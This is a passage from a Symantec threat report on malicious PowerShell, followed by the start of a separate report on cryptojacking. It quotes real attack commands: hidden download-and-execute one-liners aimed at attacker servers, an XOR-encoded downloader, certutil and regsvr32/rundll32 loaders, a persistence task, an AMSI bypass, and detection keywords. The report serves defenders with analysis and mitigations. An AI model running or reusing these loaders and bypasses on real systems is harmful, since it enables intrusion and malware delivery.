ps1’); poWerShEll.exe -WindowStyle hiddeN -ExecutionPolicy Bypass -noprofile -file %TEMP%\Y.
ps1”
The argument shows some simple obfuscation. The keyword
powershell.exe is concatenated from smaller strings, and some
of the terms have mixed upper and lower case letters. The script
uses previously discussed command-line flags to hide its window and ignore the execution policy and local profile. The script will
download another PowerShell file to the temporary folder and
execute it. The fact that the attackers did not download and execute the threat directly from memory and did not further
obfuscate the command line shows that they did not invest
much in hiding the malicious nature of the script. Nonetheless, the attack was successful.
PowerWare’s downloaded PowerShell script makes heavy use of
randomized variable names. The script generates a random key for encrypting the target’s files using the GET-RANDOM cmdlet.
The encryption key is then sent back to the attacker using an
old-style MsXml2.XMLHTTP COM object.
The script then lists all drives using the Get-PSDrive command,
filtering for any with a free space entry. Next the script
enumerates all files recursively for each drive found using the Get-ChildItem command and looks for more than 400
file extensions. Each file matching the search terms will be COMMON
POWERSHELL
MALWARE THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC20
encrypted using the CreateEncryptor function of the System.
Security.Cryptography.RijndaelManaged object. Once the files
are encrypted, a ransom note is written to FILES_ENCRYPT -
ED-READ_ME.HTML.
Figure 6. PowerWare encryption function
W97M.INCOMPAT
In the summer of 2016, we came across a malicious Excel
workbook sample. The file was sent in spear-phishing emails to
a limited number of users. The file contains a malicious macro
that triggers once the workbook is opened. Once executed, the script creates three folders under %public%\Libraries\Record-
edTV\.
The macro then executes a long PowerShell command from
the command line. This script stores some of the workbook’s
payload in a file called backup.vbs and creates two PowerShell
scripts, DnE.ps1 and DnS.ps1. The script uses basic obfuscation with string concatenation and string replacement. The macro
script also reveals decoy content in the workbook in order to fool
the user into thinking that everything is normal. The following is an example for the macro’s PowerShell command:
cmd = “powershell “”&{$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBas” & “e64String(‘” & BackupVbs & “’));
Set-Content ‘” & pth & “backup.vbs” & “’
$f;$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBas” & “e64String(‘” & DnEPs1 & “’));
$f=$f -replace ‘__’,(Get-Random);
$f=’powershell -EncodedCommand \””’+([System.Convert]::ToBas” & “e64String([System.Text.
Encoding]::Unicode.GetBytes($f)))+’\””’;
Set-Content ‘” & pth & “DnE.ps1” & “’ $f;$f=[System.Text.Encoding]::UTF8.GetString([System.
Convert]::FromBas” & “e64String(‘” & DnSPs1 & “’));
$f=’powershell -EncodedCommand \””’+([System.Convert]::ToBas” & “e64String([System.Text.
Encoding]::Unicode.GetBytes($f)))+’\””’;
Set-Content ‘” & pth & “DnS.ps1” & “’ $f}”””Next the threat creates a scheduled task to periodically execute
the backup.vbs script.
%SYSTEM%\schtasks.exe /create /F /sc minute /mo 3 /tn
“GoogleUpdateTasksMachineUI” /tr %ALLUSERSPROFILE%\
Libraries\RecordedTV\backup.vbs
This VBScript uses PowerShell to run the two dropped Power -
Shell scripts.
Tpowershell -ExecutionPolicy Bypass -File “&HOME&”DnE.
ps1
Tpowershell -ExecutionPolicy Bypass -File “&HOME&”DnS.
ps1
These scripts attempt to download commands from a remote
server, run them, and upload the results. The communication is handled with WebClient objects, but there is also a function
that allows for domain name system (DNS) tunnel communica-
tion. One of the executed commands was a collection of system commands that gathers information about the compromised
computer. Other commands were used to update the scripts.
It is unclear why the attackers chose to mix PowerShell and VBScripts; all of the observed functionality could have been
created in PowerShell with fewer traces. One reason could be
that the script evolved over time and only recently included PowerShell functionality.
Figure 7. PowerShell downloader function
THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC21
KEYLOGGER TROJAN
Cut-and-paste websites, which allow users to store content
online, often contain PowerShell malware samples. While some
researchers uses these services to share samples, cybercrimi-
nals also share malware on these sites.
One back door threat that we found, uses the System.Net.
WebRequest object to establish a connection to the command
and control (C&C) server. Once successfully connected, the malware posts system details and waits for commands while in
a loop. Possible commands include:
TLog keystrokes
TSteal clipboard data
TEnable remote desktop protocol (RDP) or virtual network
computing (VNC) services
TSteal data stored in browsers
These are all simple functions, and most of the code seems to be gathered from other projects.
The Trojan’s true purpose is to search for credit card numbers
in keystrokes. In addition, the threat monitors window titles for
interesting keywords related to financial transactions.
Figure 8. Trojan monitors window titles for finance-
related content
BANKING TROJAN
As reported by Kaspersky Lab, a few banking Trojan groups
in Brazil use PowerShell. In a previous attack, they sent out
phishing emails with .pif attachments. The file contained a link
to a PowerShell script which changed local proxy settings to point to a malicious server. This allowed the attackers to manip -
ulate any browsing session from then on. The script did not use any obfuscation and was invoked in a common way:
powershell.exe -ExecutionPolicy Bypass -File [SCRIPT
FILE NAME].ps1THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC22
BACK DOOR TROJANS
PoshRat is a simple PowerShell back door Trojan. There are a
handful of variations, which each consist of 100-200 lines of
PowerShell code. PoshRat dynamically creates a Transport Layer
Security (TLS) certificate that can be used to encrypt commu-nications. Once executed, the malware listens on TCP ports 80
and 443 for incoming connections. The backend communica-
tion is performed with Net.Webclient using the DownloadString method. The threat executes commands with Invoke-Expres-
sion.
Such shells are integrated in the most common attack frame -
works, for example, the Nishang package. In addition to the
back door server, the frameworks provide load point methods
to execute the payload. One method is to use rundll32 to start a JavaScript which will then execute a PowerShell command line.
rundll32.exe javascript:”\..\mshtml,RunHTMLApplication “;document.write();r=new%20ActiveXObject(“WScript.Shell”).run(“powershell -w h
-nologo -noprofile -ep bypass IEX ((New-Object Net.
WebClient).DownloadString(‘[IP ADDRESS]/script.ps1’))”,0,true);
Another option is to generate a COM scriptlet (.sct) file contain-ing a script. The script is triggered with the following regsvr32 command on the infected computer:
regsvr32.exe /u /n /s /i:http://[IP ADDRESS]:80/file.sct scrobj.dll
This method can be used to bypass AppLocker restrictions. The
command will load the remote script in the register element and
run the script.THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC23
As we have discussed previously,
multiple targeted attack groups use PowerShell scripts for their campaigns. There has been a trend with targeted attackers using the pre-installed tools in order to stay below the radar. As many organizations do not monitor for malicious PowerShell usage, it is likely that other unnoticed targeted attack groups have been using PowerShell.The following are examples of targeted attack groups using
PowerShell:
PUPA/DEEP PANDA
The Pupa/Deep Panda group used scheduled tasks to execute
PowerShell scripts that loaded Backdoor.Joggver into memory
and run it. They downloaded Joggver over Secure Sockets Layer
(SSL) and explicitly ignored any certificate errors (allowing self-signed certificates to be accepted) by using the following
command:
[System.Net.ServicePointManager]::ServerCertificate
ValidationCallback = {$true}
Pupa/Deep Panda also used WMI to deploy PowerShell scripts remotely and set up scheduled tasks for lateral movement.
COZYDUKE/SEADUKE
The CozyDuke/SeaDuke group has been known to target govern-mental and diplomatic organizations since at least 2010. This
group used a PowerShell version of Hacktool.Mimikatz and the
Kerberos pass-the-ticket attack to impersonate high privileged
users. CozyDuke/SeaDuke used another PowerShell script called
dump.ps1 to extract emails from the Microsoft Exchange server. POWERSHELL IN
TARGETED ATTACKS
$WC=NEw-OBjeCt SYsTEm.Net.WEbCLIENt; $u=’Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like
Gecko’;
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wC.HEAderS.Add(‘User-Agent’,$u);
$Wc.PROxY = [SystEM.NeT.WEBReQuEst]::DeFauLtWEbPrOxy;$wC.ProXY.CREdENtiAls = [System.NeT.CRedeNtIalCAcHe]::DefaulTNETworKCrEdenTIALS;
$K=’AKoem{;V*O$E^<0F:_Is~}zdhyni,fpt’;$I=0;[CHAR[]]$b=([chAr[]]($wc.
DOwNlOadSTRiNg(“https://[REMOVED]/index.asp”)))|%{$_-bXoR$k[$I++%$K.LenGtH]};IEX ($B-joIn’’)
THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC24
In addition to that, Trojan.Cozer used an encoded PowerShell
script to download Trojan.Seaduke. Cozer downloaded an
encoded binary disguised as .jpg file from an SSL web server.
Instead of directly decoding the Base64-encoded file with PowerShell, the attackers invoked the Windows tool Certutil,
before executing the file as a new process. The following shows
the PowerShell script used to download Trojan.Seaduke.
(New-Object Net.WebClient).DownloadFile(“https://
[REMOVED]/logo1.jpg”,”$(cat env:appdata)\\logo1.
jpg”); certutil -decode “$(cat env:appdata)\\logo1.jpg” “$(cat env:appdata)\\AdobeARM.exe”; start-
process “$(cat env:appdata)\\AdobeARM.exe “
BUCKEYE
The Buckeye group, which recently attacked Hong Kong based
targets, used spear-phishing emails with malicious .zip attach-ments. The .zip archive contained a Windows shortcut (.lnk) file
with the Internet Explorer logo. This .lnk file then used Power -
Shell to download and execute Backdoor.Pirpi. The group used
-w 1 instead of -w hidden to hide the window. They also used cls
to clear the screen, probably in an attempt to hide their activity.
powershell.exe -w 1 cls (New-Object Net.WebClient).
DownloadFile(“””http://[REMOVED]/images/rec.
exe”””,”””$env:tmp\rec.exe”””);Iex %tmp%\rec.exe
ODINAFF
The Odinaff group, which attacked financial institutions, used
PowerShell and other tools like PsExec to laterally move across
a compromised network. This group was one of the few that set
a specific user agent for the downloader script and checked local proxy settings. In addition, Odinaff used some simple mixed-
case letter obfuscation.
$WC=NEw-OBjeCt SYsTEm.Net.WEbCLIENt;
$u=’Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko’;
[System.Net.ServicePointManager]::ServerCertificat eValidationCallback = {$true}; $wC.HEAderS.Add(‘User-Agent’,$u);
$Wc.PROxY = [SystEM.NeT.WEBReQuEst]::DeFauLt
WEbPrOxy;$wC.ProXY.CREdENtiAls = [System.NeT.CRedeN tIalCAcHe]::DefaulTNETworKCrEdenTIALS;
$K=’AKoem{;V*O$E^<0F:_Is~}zdhyni,fpt’;$I=0;[CHAR[]]
$b=([chAr[]]($wc.DOwNlOadSTRiNg(“https://[REMOVED]/index.asp”)))|%{$_-bXoR$k[$I++%$K.LenGtH]};IEX
($B-joIn’’)FBI WARNING ON UNNAMED
ATTACK GROUP
On November 17, 2016, the FBI warned about a targeted attack
group using PowerShell. The attackers sent spear-phishing
emails containing documents with malicious macros. Once
executed, the malware loaded the PowerShell stage to memory and executed it. The script checked the network connection by
contacting gmail.com or google.com. If network connection was
available, it downloaded a file with HTML content from its C&C server. The returned content then searched for images with the
alt tag set to “Send message to contact”. If an object was found,
a Base64-encoded string was extracted from the source tag and was parsed. Using the Invoke-Expression call, the attacker
could execute arbitrary PowerShell commands on the targeted
computer.
EXAMPLE SCRIPT INVOCATIONS
USED IN TARGETED ATTACKS
Table 5. Script invocations seen in targeted attacks by group
Attack groups Script invocations
Pupa/
DeepPanda powershell.exe -w hidden -nologo -nointeractive -nop -ep bypass -c “IEX ((new-object net.webclient).downloadstring([REMOVED]))”
Pupa/
DeepPanda powershell.exe -Win hidden -Enc [REMOVED]
Pupa/
DeepPanda powershell -noprofile -windowstyle hidden -noninteractive -encodedcommand [REMOVED]
SeaDukepowershell -executionpolicy bypass -File diag3.ps1
SeaDukepowershell -windowstyle hidden -ep bypass -f Dump.ps1 -Domain [REMOVED] -User [REMOVED] -Password [REMOVED] -Mailbox
CozyDukepowershell.exe -WindowStyle hidden -encodedCommand [REMOVED]
Odinaffpowershell.exe -NoP -NonI -W Hidden -Enc [REMOVED]
Buckeyepowershell.exe -w 1 cls (New-Object Net.WebClient).DownloadFile(“””http://[REMOVED]/images/rec.exe”””,”””$env:tmp\rec.exe”””);Iex %tmp%\rec.exeTHE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC25
Most targeted attack groups primarily use PowerShell as
downloader and for lateral movement across a network. Some
groups like Buckeye even deploy other tools with functional-
ity that could easily be reproduced in PowerShell scripts. It is unclear why they choose to rely on other tools for these simpler
tasks, particularly since gathering environmental information
about the compromised computer could easily be done with PowerShell. The reason could be that the groups hope to evade
detection by spreading their activity over multiple legitimate
tools. On the other hand, unauthorized usage of that many tools could raise an alarm.
Note that even within specific groups, invoked arguments differ
over multiple commands. For example, Deep Panda uses both -w hidden and –Win hidden. Since the rest of the scripts and
arguments were not obfuscated, this might be due to different
authors creating the scripts.
The majority of scripts that we have observed in targeted attacks
did not employ heavy obfuscation, such as what was discussed in
the script obfuscation section of this report. It is unclear if this is due to a lack of knowledge or if this was a deliberate decision
to raise less suspicion of their scripts. Most of the download-
er scripts load their payload from servers using HTTPS to hide it from gateway and network security tools that can’t deal with
TLS connections.THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC26
In the last two years, penetration
tools and frameworks containing PowerShell have sharply risen. These tools often use new PowerShell methods that have not been seen much in malware yet. The community behind these tools is fast-growing and is quick to integrate new ideas. Many other non-PowerShell-specific tools,
such as Metasploit, Veil, and Social Engineering Toolkit (SET), include the ability to generate PowerShell payloads and outputs. The following sections will discuss some of the most common
pentesting tools available. As mentioned, many other script
sets, such as Posh-SecMod and PowerCat, are created every
month. These tools can be used to test defenses against targeted attack groups using similar techniques.
The most common pentesting tools are:
TPowerSploit
TPowerShell Empire
TNiShang
TPS>Attack
TMimikatz
The community behind these tools is
fast-growing and is quick to integrate new ideas.DUAL USE
TOOLS AND
FRAMEWORKS THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC27
POWERSPLOIT
PowerSploit is a collection of different PowerShell scripts for
penetration testers. The collection has grown over the years and
offers modules for all phases of an attack. The advertised script
features are:
T Code execution
T Script modification
T Persistence
T Antivirus bypass
T Exfiltration
T Privilege escalation
T Reconnaissance
Some previous standalone tools like PowerView (reconnais-
sance) and PowerUp (privilege escalation) have been integrated
into PowerSploit.
POWERSHELL EMPIRE
This is a modular post-exploitation framework, providing a Metasploit-like environment in PowerShell and Python. Power -
Shell Empire includes different types of back door tools with multiple modules. Similar to the other frameworks, it includes methods for privilege escalation, lateral movement, persistence,
data collection, and reconnaissance.
NISHANG
Nishang is a collection of different PowerShell scripts offering
scanners, back door tools, privilege escalation, persistence, and
other modules to the user. It contains various cmdlets that can
generate encoded output to be used with load point methods.
PS>ATTACK
PS>Attack combines different PowerShell projects into a self-contained custom PowerShell console. The framework calls
PowerShell through a .NET object in order to make it easier
to run in environments where powershell.exe is blacklisted or restricted. The toolset includes the usual scripts from Power -
Sploit, PowerTools, and Nishang such as privilege escalation,
persistence, reconnaissance, and data exfiltration. MIMIKATZ
Mimikatz is a popular hacktool that dumps credentials and
tokens from Windows computers. The tool can also perform
various token manipulation and impersonation attacks.
Mimikatz has been seen in nearly all targeted attacks. There
are PowerShell implementations of the tool, which can be run
entirely from memory. The first widely accessible PowerShell
version was the Invoke-Mimikatz script. This functionality is now integrated in other scripts like PowerSploit or ported to
new scripts like mimikittenz.
There are other methods to gather passwords that do not
require Mimikatz. Some attackers have started to use a method
called Kerberoasting , which extracts service accounts password
hashes for offline cracking.
PowerSploit is a collection of different
PowerShell scripts for penetration testers. The collection has grown over the years and offers modules for all phases of an attack.THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC28
On the defender’s side, a range of
PowerShell scripts exists to help us. For example, there are scripts that will generate honeypot files
and watch them for ransomware trying to encrypt them. Other scripts create local tar pit folders, which mimic an endless recursive folder structure in an attempt to slow down the ransomware file
enumeration process. Another concept uses PowerShell to disable
network enumeration, which is often performed for lateral movement.There are also a few incident response and forensic toolkits
available in PowerShell, such as Kansa, PowerForensic, or the
data-gathering script PSrecon.
Performing a forensic analysis on PowerShell attacks can be
difficult due to the lack of traces available. FireEye researchers
Ryan Kazanciyan and Matt Hastings point out several starting
points when investigating memory threats with a focus on PowerShell. For example, svchost.exe might still contain traces of remotely executed PowerShell commands, but only when the
analysis can be conducted shortly after the attack.
Extended logging is key to make an investigation easier and
we strongly recommend system administrators to enable this
feature.
Performing a forensic analysis on
PowerShell attacks can be difficult
due to the lack of traces available.POWERSHELL
SCRIPTS FOR
PREVENTION
AND
INVESTIGATION THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC29
Most of the previously discussed
attack methods require the attacker to be able to execute code on the targeted computer first. Some
techniques require administrator privileges. This is why malicious PowerShell scripts are often referred to as post-exploitation tools; the initial infection vector is often the same as with traditional binary threats.
As a result, normal best practices to secure the environment apply here as well: TEnd users are advised to immediately delete any suspicious
emails they receive, especially those containing links and/
or attachments.
TBe wary of Microsoft Office attachments that prompt users
to enable macros. While macros can be used for legitimate purposes, such as automating tasks, attackers often use
malicious macros to deliver malware through Office documents. To mitigate this infection vector, Microsoft has disabled macros from loading in Office documents by
default. Attackers may use social-engineering techniques
to convince users to enable macros to run. As a result, Symantec recommends that users avoid enabling macros in
Microsoft Office.
The following guidance is specific to mitigating PowerShell
threats:
T If you do not use PowerShell in your environment, then check if you can disable it or at least monitor for any
unusual use of powershell.exe and wsmprovhost.exe,
such as from unknown locations, unknown users, or at suspicious times. Keep in mind that PowerShell can be
run without powershell.exe, such as through .NET and the
System.Management.Automation namespace. Blocking
access to powershell.exe, for example through AppLocker,
does not stop attackers from using PowerShell.
MITIGATION THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC30
T All internal legitimately used PowerShell scripts should be
signed and all unsigned scripts should be blocked through
the execution policy. While there are simple ways to bypass
the execution policy, enabling it makes infection more difficult. The security team should be able to monitor for
any attempt to bypass the execution policy and follow up on
it.
T PowerShell Constrained Language Mode can be used to limit PowerShell to some base functionality, removing advanced
features such as COM objects or system APIs. This will
render most PowerShell frameworks unusable as they rely on these functions, such as for reflected DLL loading.
T Update to the newest version of PowerShell available (currently version 5). This will provide additional features,
such as extended logging capabilities. If you do not use
PowerShell version 2 but still have it installed, consider removing it as it can be exploited to bypass logging and
restrictions.
T A restricted run space can limit exposure to remote
PowerShell scripts. Cmdlets can be limited, and execution
can be delegated to a different user account.
T Consider evaluating if Just Enough Administration (JEA)
can be used to limit privileges for remote administration
tasks in your environment. JEA is included in PowerShell 5
and allows role-based access control.
LOGGING
By default, basic logging is enabled in PowerShell prior to version 5. Enabling PowerShell logging requires PowerShell 3
and up.
With PowerShell 5, three logging methods are available; Module
Logging, Transcription, and Script Block Logging. We highly
recommend enabling extended logging, as this helps tremen-
dously in investigations. Even if the attacker deletes their scripts after the attack, the log may still contain the content.
Some logs record de-obfuscated scripts, allowing keywords to be
easily searched for. Logging can be enabled in the group policy for Windows PowerShell. The settings are stored in the registry
under the following subkey:
THKEY_LOCAL_MACHINE\Software\Policies\Microsoft\
Windows\PowerShell\
Be advised that enabling logging can generate a lot of events.
This information should be processed quickly or sent to a central SIEM to be correlated before it gets overwritten locally.
In addition, the Windows Prefetch file for PowerShell may give
a good indication of when it was last run and might even reveal the script’s name.
When PowerShell scripts are executed, the following Windows
event logs are updated: TWindows PowerShell.evtx
TMicrosoft-WindowsPowerShell/Operational.evtx
TMicrosoft-WindowsWinRM/Operational.evtx
The analytic logs are disabled by default, but they include more
details like executed cmdlets, scripts, or commands. This can
generate a large volume of log messages if enabled.
TMicrosoft-WindowsPowerShell/Analytic.etl
TMicrosoft-WindowsWinRM/Analytic.etl
PowerShell 3 introduced Module Logging, which records Power -
Shell commands and their output including commands that are executed through remoting. Module Logging has to be enabled
for each module that you want to monitor or all of them.
Module Logging is a good start but it omits some details. Note that Module Logging does not record the execution of external
Windows binaries.
Figure 9. PowerShell group policy settings on Windows
10
For detailed results, PowerShell provides the Transcription
function through the Start-Transcript command to log all the
processed commands. This option has been greatly improved in
PowerShell 5. It will record all input and output as it appears in the console and write it to a text file with timestamps. Enabling transcribing will quickly generate a lot of log files so be prepared
to process them or store them on a central file share. An attacker
could disable logging before executing the malicious payload, for example a simple “-noprofile” argument will ignore profile
commands. Any tampering should be monitored as well.
In PowerShell 5, Microsoft introduced verbose Script Block
Logging. Once enabled, Script Block Logging will log the content
of all script blocks that are processed and de-obfuscated,
including dynamic code generated at runtime. This provides complete insight into script activity on a computer. The logging THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC31
is applied to any application that uses the PowerShell engine. As
a result, it monitors the command-line invocation PowerShell
ISE as well as custom applications that use .NET objects. The
events are logged in the PowerShell operational log.
Figure 10. PowerShell log event entry
Some administrators fear that this much logging might lead to leaked sensitive data such as credentials. In order to reduce this
risk, Windows 10 introduced Protected Event Logging, which
encrypts local logs in order to prevent attackers from stealing data from them. The logs should then be forwarded to a central
location and analyzed.
Another option is to enable Process Tracking with command-
line auditing, which can now record the full command line. This
will log all new processes which are started, including Power -
Shell that is run on the command line. The information will be
logged with the event id 4688 (Process Creation).
There are a few public tools available that can help process
logged events, such as PowerShell Method Auditor . Security
researcher Sean Metcalf has generated a list of suspicious calls
that can be monitored in the PowerShell operational log. For example the following keywords are a strong indicator that PowerShell attack tools have been run:
Invoke-DLLInjection
TSystem.Reflection.AssemblyName
TSystem.Reflection.Emit.AssemblyBuilderAccess
Invoke-Shellcode
TSystem.Reflection.AssemblyName
TSystem.Reflection.Emit.AssemblyBuilderAccess TSystem.MulticastDelegate
TSystem.Reflection.CallingConventions
ANTIMALWARE SCAN INTERFACE
(AMSI)
Windows 10 added new security features for PowerShell. Script
Block Logging is now automatically enabled, providing better
logging. Additionally, a new feature called Antimalware Scan
Interface ( AMSI) allows security solutions to intercept and
monitor PowerShell calls in order to block malicious scripts.
This lets an engine look beyond basic obfuscation and dynamic
code generation.
Unfortunately there are already ways to bypass AMSI. An
attacker can try to unload AMSI; Graeber demonstrated the
following simple method:
[Ref].Assembly.GetType(‘System.
Management.Automation.AmsiUtils’).
GetField(‘amsiInitFailed’,’NonPublic,Static’).
SetValue($null,$true)
An alternative method is dropping back to PowerShell 2.0 which
does not support AMSI, if the old version is still present on the
computer.
Either way, detections rely on signatures in most cases and
therefore can be challenged by obfuscation, for example with
variables or reordering. Nonetheless, AMSI increases security
and, if the generated log files are monitored, will provide evidence of PowerShell misuse.
APPLOCKER
With Microsoft’s application control solution AppLocker, further restrictions can be added. Through group policies, the tool can
limit the execution of executables, DLLs, and scripts. AppLocker
identifies the applications through information about the path, file hash, or publisher.
In an ideal enterprise environment, a whitelist approach would
be used. With PowerShell 5, AppLocker can enforce Constrained Language Mode. This combination makes it hard for an attacker
to run malicious scripts. Unfortunately in most cases, organi-
zations use a blacklist approach as it is simpler to handle and update. Since PowerShell scripts can be launched in so many
ways with legitimate reasons for administration to do so, it
is difficult to block all malicious usage. Nevertheless, using AppLocker can improve security and should be assessed for an
organization’s security strategy. THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC32
Adopting a multilayered approach
to security minimizes the chance of infection. Symantec has a strategy that protects against malware, including PowerShell threats, in three stages:
1. Prevent: Block the incursion or infection and prevent the
damage from occurring
2. Contain: Limit the spread of an attack in the event of a successful infection
3. Respond: Have an incident response process, learn from
the attack, and improve defenses
Preventing infection is by far the best outcome. Malicious emails
and other malware droppers are the most common infection
vectors for malicious PowerShell scripts. Adopting a robust
defense against both these infection vectors will help reduce the risk of compromise.ADVANCED ANTIVIRUS ENGINE
Symantec uses an array of detection engines including an advanced signature-based antivirus engine with heuristics, just-
in-time (JIT) memory-scanning, and machine-learning engines.
This allows the detection of directly in-memory executed scripts.
SONAR BEHAVIOR ENGINE
SONAR is Symantec’s real-time behavior-based protection that blocks potentially malicious applications from running on the
computer. It detects malware without requiring any specific
detection signatures. SONAR uses heuristics, reputation data, and behavioral policies to detect emerging and unknown
threats. SONAR can detect PowerShell script behaviors often
used in post-infection lateral movement and block them.
EMAIL PROTECTION
Email-filtering services such as Symantec Email Security.cloud can stop malicious emails before they reach users. Symantec
Messaging Gateway’s Disarm technology can also protect
computers from this threat by removing malicious content from attached documents before they even reach the user.
Email.cloud includes Real Time Link Following (RTLF) which
processes URLs present in attachments, not just in the body of
PROTECTION THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC33
emails. In addition to this, Email.cloud has advanced capabili-
ties to detect and block malicious script contained within emails
through code analysis and emulation.
BLUE COAT MALWARE ANALYSIS
SANDBOX
Sandboxes such as the Blue Coat Malware Analysis have the
capability to analyze and block malicious scripts including
PowerShell scripts. It can work its way through multiple layers
of obfuscation and detect suspicious behavior.
SYSTEM HARDENING
Symantec’s system hardening solution, Symantec Data Center Security, can secure physical and virtual servers, and monitor
the compliance posture of server systems for on-premise, public,
and private cloud data centers. By defining allowed behavior, Symantec Data Center Security can limit the use of PowerShell
and any of its actions. THE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC34
PowerShell allows attackers to
perform malicious actions without deploying any additional binary files,
increasing the chances of spreading their threats further without being detected. The fact that PowerShell is installed by default makes the framework a favored attack tool. Furthermore, PowerShell leaves few traces as extended logging is not activated by default. Most targeted attack groups have already used PowerShell, but
many still rely on other system tools for basic tasks such as
data-gathering. There is a huge community creating PowerShell
scripts for penetration testers and we expect more cybercrimi-nals to start using PowerShell in the future.
Malicious PowerShell scripts are primarily used as download-
ers in email attachments or for lateral movements inside the network after an incursion. But it is also possible to have full back door Trojans or ransomware coded entirely in PowerShell.
Few PowerShell threats in the wild use obfuscation. We have
seen proof-of-concept code that uses much stronger obfuscation, making it difficult to detect. It seems attackers are deliber -
ately not using more obfuscation, as their threats are already successful and they do not want to raise further suspicion. Often Base64-encoded commands are sufficient to bypass any
deployed security measures.
With the evidence we have shown of a rising tide of threats
leveraging PowerShell, we recommend bolstering defenses
by upgrading to the latest version of PowerShell and enabling
extended logging features. Additionally, make sure that Power -
Shell is considered in your attack scenarios and that the corresponding log files are monitored.CONCLUSIONTHE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC35
CREDITS
Author
Candid Wueest
Contributors
Stephen Doherty
Himanshu AnandTHE INCREASED USE OF POWERSHELL IN ATTACKS
BACK TO TOC36
ABOUT SYMANTEC
MORE INFORMATION
TSymantec Worldwide: http://www.symantec.com
TISTR and Symantec Intelligence Resources: https://www.symantec.com/security-center/threat-report
TSymantec Security Center: https://www.symantec.com/security-center
TNorton Security Center: https://us.norton.com/security-centerSymantec Corporation (NASDAQ: SYMC), the world’s leading cyber
security company, helps businesses, governments and people secure their most important data wherever it lives. Organizations across the world look to Symantec for strategic, integrated solutions to defend against sophisticated attacks across endpoints, cloud and infrastructure.
Likewise, a global community of more than 50 million people and families
rely on Symantec’s Norton suite of products for protection at home and across all of their devices. Symantec operates one of the world’s largest civilian cyber intelligence networks, allowing it to see and protect against the most advanced threats.
|
Internet Security Threat ReportISTR
Cryptojacking:
A Modern Cash Cow
An ISTR Special Report | Sep 2018
Analyst: Brigid O’Gorman
Contents
Cryptojacking: A Modern Cash Cow
Key points
What you need to know about coin mining
The history of coin mining
Cryptojacking & Cyber Crime
Cryptojacking trends
Case Studies
01 Social scams
02 Attacks on enterprises
03 Software supply chain attack
04 Long arm of the law
The Future of Cryptojacking
Best PracticesCryptojacking: A Modern Cash CowBack to Table of ContentsPage 2
Cryptojacking:
A Modern Cash Cow
Cryptojacking:
A Modern
Cash Cow
01Section
Cryptojacking: A Modern Cash CowCryptojacking: A Modern Cash CowBack to Table of ContentsPage 3
Cryptojacking:
A Modern Cash Cow
In the final quarter of 2017, a surge in
cryptojacking placed a firm spotlight on this part
of the cyber crime landscape. While incidents of
cryptojacking have decreased somewhat from the
heights reached at the end of 2017, cryptojacking
by opportunistic cyber criminals remains a
key concern in the cyber crime landscape.
Key points
| Cryptocurrencies can be mined on personal
computers using either file-based miners or browser-
based miners. We have seen the greatest surge in
activity in the area of browser-based coinminers.
| Cryptojacking activity surged to its peak in December
2017, when more than 8 million cryptojacking events
were blocked by Symantec. While we have seen a
slight fall in activity in 2018, it is still at an elevated
level, with total cryptojacking events blocked in July
2018 totalling just less than 5 million.
| The primary cryptocurrency mined by these
cryptojacking miners is Monero.
| Primary effects of cryptojacking include: device
slowdown; overheating batteries; increased energy
consumption; devices becoming unusable; and
reduction in productivity. Cryptojacking in the cloud
could also cause additional costs for businesses that
are billed based on CPU usage.
| Reasons we saw a surge in cryptojacking in late 2017
include: the launch of the Coinhive service lowering
the barriers to entry, and a surge in the value of many
cryptocurrencies.What you need to know about coin mining
Coinminers are used to mine cryptocurrencies. Cryptocurren -
cies are digital currencies created using computer programs
and computing power and, for the most part, are recorded on
the blockchain. The blockchain is a peer-to-peer network that
timestamps transactions by hashing them onto an ongoing,
hash-based proof of work. This forms a record that cannot
be changed without redoing the proof of work. The block -
chain was first written about by Satoshi Nakamoto in 2009
and Bitcoin was the first cryptocurrency developed on it, and
Bitcoin is still the best known and most highly valued crypto -
currency in existence. However, Bitcoin now requires a lot of
processing power, and special equipment, to mine and so is
not a viable option for mining on regular computers. Due to
its popularity it also now attracts high transaction fees and
takes a long time to mine, so it can be difficult to make a profit
mining it.
However, other cryptocurrencies have been developed that can
more easily be mined using the computing power of regular
home computers. Monero is the primary example of this.
Monero, unlike Bitcoin, also provides anonymity: it is almost
impossible to track Monero transactions.
There are two primary methods of coin mining on personal
computers:
|File-based coin mining involves downloading and running
an executable file on your computer.
|Browser-based coin mining, which saw the biggest jump in
prevalence in 2017, takes place inside a web browser and
is implemented using scripting languages.
Coin mining is not illegal, and many people choose to run files
or scripts on their computers to carry out coin mining to make
money themselves. Many people may not object to some of
their computing power being used to mine cryptocurrency
when they visit a particular website as it could be a welcome
alternative to watching ads or paying for the content in other
ways. Websites could create revenue and users of the website
would ‘pay’ by allowing their device’s central processing unit
(CPU) power to be used to mine cryptocurrency while they are
on the website. The problems arise when people aren’t aware
their computers are being used to mine cryptocurrency, or if
cyber criminals surreptitiously install coinminers on victims’
computers or Internet of Things (IoT) devices without their
knowledge—this is cryptojacking.Cryptojacking: A Modern Cash CowBack to Table of ContentsPage 4
Cryptojacking:
A Modern Cash Cow
The primary impact of cryptojacking is performance related,
with its potential impacts for device users including:
|A slowdown in device performance
|Overheating batteries
|Devices becoming unusable
Coin mining also has implications for organizations. Apart
from the frustration and reduction in productivity that slow
devices cause employees, self-propagating coinminers may
require corporate networks to be shut down to facilitate
